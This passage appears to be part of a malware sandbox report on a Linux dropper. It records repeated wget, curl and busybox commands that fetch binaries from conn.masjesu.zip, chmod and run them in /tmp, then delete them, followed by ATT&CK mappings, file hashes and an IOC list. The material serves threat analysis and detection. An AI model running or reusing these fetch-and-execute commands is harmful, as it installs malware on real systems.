  chmod 777 s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  ./s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:970
- /bin/chmod
  chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:973
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:977
- /bin/chmod
  chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:980
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - System Network Configuration Discovery
  PID:984
- /bin/chmod
  chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:994
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:995
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:998
- /bin/chmod
  chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Executes dropped EXE
  PID:1000
- /bin/rm
  rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1001
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1003
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /bin/chmod
  chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk

Path /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	740	DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	747	Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	770	CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	806	lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	813	CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	835	5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	860	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	867	g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	874	SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	881	SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	888	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	895	u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	902	s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	909	lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	916	SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	923	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	930	g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	937	lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	944	SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	951	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	958	u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	965	s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	972	Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	979	DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	986	5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	993	CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	1000	lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	1007	CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u